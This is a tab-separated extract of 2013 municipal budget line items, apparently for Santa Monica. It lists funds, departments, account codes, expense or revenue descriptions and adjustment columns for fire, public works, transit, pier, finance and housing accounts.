2998	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2013	-17991.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17991.0
2999	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2013	91800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91800.0
3000	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408380.0	LINCOLN EARMRK FUNDS-FHWA	610.0	Intergovernmental	2013	-1590357.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1590357.0
3001	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	538493.0	0	0.0	0.0	0	0	0.0	5385	0.0	0	0	0.0	543878.0
3002	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	100388.0	0	0.0	0.0	0	0	0.0	1004	0.0	0	0	0.0	101392.0
3003	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
3004	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3005	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	18860.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18860.0
3006	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511748.0	DENTAL	804.0	Salaries and Wages	2013	2210.0	0	0.0	0.0	0	0	0.0	375	0.0	0	0	0.0	2585.0
3007	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2013	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
3008	B1	IS	1	General Fund	310	FIRE	315	TRAINING	555215.0	OUTSIDE TRAINER PAYMENT	806.0	 Supplies and Expenses	2013	20400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20400.0
3009	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY HAL	808.0	 Supplies and Expenses	2013	2100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2100.0
3010	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406797.0	11 UASI GRANT	610.0	Intergovernmental	2013	-363392.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-363392.0
3011	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	800000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800000.0
3012	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2013	17500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17500.0
3013	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	44394.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44394.0
3014	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3015	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3016	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3017	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2013	97400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	97400.0
3018	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	1125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1125.0
3019	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	70103.0	0	0.0	0.0	0	0	0.0	701	0.0	0	0	0.0	70804.0
3020	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	805.0
3021	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	288125.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	288125.0
3022	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	68584.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	68584.0
3023	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	288.0
3024	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	82445.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	82445.0
3025	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-33075.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-33075.0
3026	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	489267.0	0	0.0	0.0	0	0	0.0	4893	0.0	0	0	0.0	494160.0
3027	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	10345.0	0	0.0	0.0	0	0	0.0	103	0.0	0	0	0.0	10448.0
3028	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	67595.0	0	0.0	0.0	0	0	0.0	1719	0.0	0	0	0.0	69314.0
3029	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	30888.0	0	0.0	0.0	0	0	0.0	309	0.0	0	0	0.0	31197.0
3030	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	350.0
3031	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2013	-50840.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50840.0
3032	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400620.0	RESURFACING PERMITS	612.0	Charges for Service	2013	-17136.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17136.0
3033	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
3034	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-STORMWATER	910.0	 Supplies and Expenses	2013	856724.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	856724.0
3035	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2013	1600000.0	0	0.0	0.0	0	0	0.0	400000	0.0	0	0	0.0	2000000.0
3036	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408430.0	METRO TOD-DOWNTOWN EIR	610.0	Intergovernmental	2013	-551000.0	0	0.0	0.0	0	0	0.0	0	-5928.54	0	0	0.0	-556928.54
3037	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2013	162492.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	162492.0
3038	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	402050.0	TRANSPORTATION IMPACT FEE	622.0	Other	2013	-1500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1500000.0
3039	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	12600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12600.0
3040	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	320959.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	320959.0
3041	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2013	8652.0	-1738	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6914.0
3042	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	1369.0	-254	0.0	0.0	0	0	0.0	11	0.0	0	0	0.0	1126.0
3043	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	348.0	-72	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	276.0
3044	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544112.0	SIGNAGE		 Supplies and Expenses	2013	133050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	133050.0
3045	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY YAR	808.0	 Supplies and Expenses	2013	7800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7800.0
3046	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES-CITY YARDS	808.0	 Supplies and Expenses	2013	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
3047	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2013	50.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50.0
3048	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	12486.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12486.0
3049	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	10100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10100.0
3050	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	2845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2845.0
3051	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522115.0	UTIL - LIGHT/POWER - PSF	808.0	 Supplies and Expenses	2013	396375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	396375.0
3052	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522125.0	UTIL - NATURAL GAS - PSF	808.0	 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
3053	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3054	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
3055	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522135.0	UTILITIES - WATER - PSF	808.0	 Supplies and Expenses	2013	47940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47940.0
3056	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	57120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57120.0
3057	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	21517.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21517.0
3058	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533219.0	BLDG OPER/SUPPLIES-COM FAC	808.0	 Supplies and Expenses	2013	151000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	151000.0
3059	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUSTODIAL SUPP-TRIMANA	808.0	 Supplies and Expenses	2013	3600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3600.0
3060	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-PSF	808.0	 Supplies and Expenses	2013	205368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	205368.0
3061	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-1730 4TH ST	808.0	 Supplies and Expenses	2013	20646.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20646.0
3062	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
3063	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
3064	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2013	276.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	276.0
3065	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2013	504.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	504.0
3066	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
3067	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-1094.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1094.0
3068	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EAP		Salaries and Wages	2013	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
3069	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2013	4408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4408.0
3070	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	199267.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	199267.0
3071	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577940.0	REIMB FOR PARKING EXPEND		 Supplies and Expenses	2013	259196.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	259196.0
3072	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404180.0	WATERSMART GRANT PH1	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-138776.15	0	0	0.0	-138776.15
3073	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	37341.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37341.0
3074	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408290.0	FIRE SAFETY OFFICER ASSIGN FEE	612.0	Charges for Service	2013	-408000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-408000.0
3075	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566871.0	HORSE PATROL - DONATION	806.0	 Supplies and Expenses	2013	0.0	0	0.0	10765.0	0	0	0.0	0	0.0	0	0	0.0	10765.0
3076	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	408310.0	CALEMA HAZARD MIT PLANNIN GRT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-18750.0	0	0	0.0	-18750.0
3077	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	570050.0	CALEMA HAZARD MIT PLANNIN GRT	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	12500.0	0	0	0.0	12500.0
3078	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	3803.0	0	0.0	0.0	0	0	0.0	455	0.0	0	0	0.0	4258.0
3079	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	34835.0	0	0.0	0.0	0	0	0.0	4167	0.0	0	0	0.0	39002.0
3080	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-1367.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1367.0
3081	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	612.0	Charges for Service	2013	-100000.0	0	0.0	0.0	0	0	0.0	0	0.0	100000	0	0.0	0.0
3082	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579000.0	COUNCIL DISCRETIONARY FUNDS	804.0	 Supplies and Expenses	2013	23312.0	0	0.0	0.0	0	0	0.0	0	0.0	13312	0	0.0	36624.0
3083	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	3600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3600.0
3084	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2013	715.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	715.0
3085	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	6440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6440.0
3086	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	1870.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1870.0
3087	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	2760.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2760.0
3088	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	9996.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9996.0
3089	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	3572.0	0	0.0	0.0	0	0	0.0	36	0.0	0	0	0.0	3608.0
3090	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1183.0	0	0.0	0.0	0	0	0.0	12	0.0	0	0	0.0	1195.0
3091	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2013	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
3092	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	1000	0.0	1000.0
3093	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	218288.0	0	0.0	-15000.0	0	0	0.0	0	0.0	0	-11100	0.0	192188.0
3094	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2013	7670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7670.0
3095	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571110.0	S+C HAP SUO2	816.0	 Supplies and Expenses	2013	67092.0	0	0.0	0.0	0	0	0.0	-2852	0.0	0	0	0.0	64240.0
3096	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571140.0	S+C HAP EXPANSION	816.0	 Supplies and Expenses	2013	245292.0	0	0.0	0.0	0	0	0.0	-31248	0.0	0	0	0.0	214044.0
3097	B1	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2013	450000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	450000.0
3098	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-17249.0	0	0.0	0.0	0	0	0.0	0	0.0	17249	0	0.0	0.0
3099	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-27554.0	0	0.0	0.0	0	0	0.0	460	0.0	0	0	0.0	-27094.0
3100	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2013	-133006.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-133006.0
3101	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2013	-9270.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9270.0
3102	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	43	0.0	0	0	0.0	454.0
3103	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-2311.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2311.0
3104	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3105	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511580.0	COLLEGE SUMMER INTERNS	804.0	Salaries and Wages	2013	52000.0	0	0.0	0.0	0	0	0.0	520	0.0	0	0	0.0	52520.0
3106	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511771.0	RETIREMENT - POLICE	804.0	Salaries and Wages	2013	112902.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	112902.0
3107	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	12090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12090.0
3108	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-3188.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3188.0
3109	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	5458.0	0	0.0	0.0	0	0	0.0	55	0.0	0	0	0.0	5513.0
3110	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	197184.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	197184.0
3111	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2013	9375.0	0	0.0	0.0	0	0	0.0	-4406	0.0	0	0	0.0	4969.0
3112	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2013	6890.0	0	0.0	-319.0	0	0	0.0	66	0.0	0	0	0.0	6637.0
3113	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	87734.0	0	0.0	0.0	0	0	0.0	-375	0.0	0	0	0.0	87359.0
3114	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544340.0	INDIRECT COST ALLOCATION	804.0	 Supplies and Expenses	2013	326875.0	0	0.0	0.0	0	0	0.0	-24825	0.0	0	0	0.0	302050.0
3115	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2013	2200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2200.0
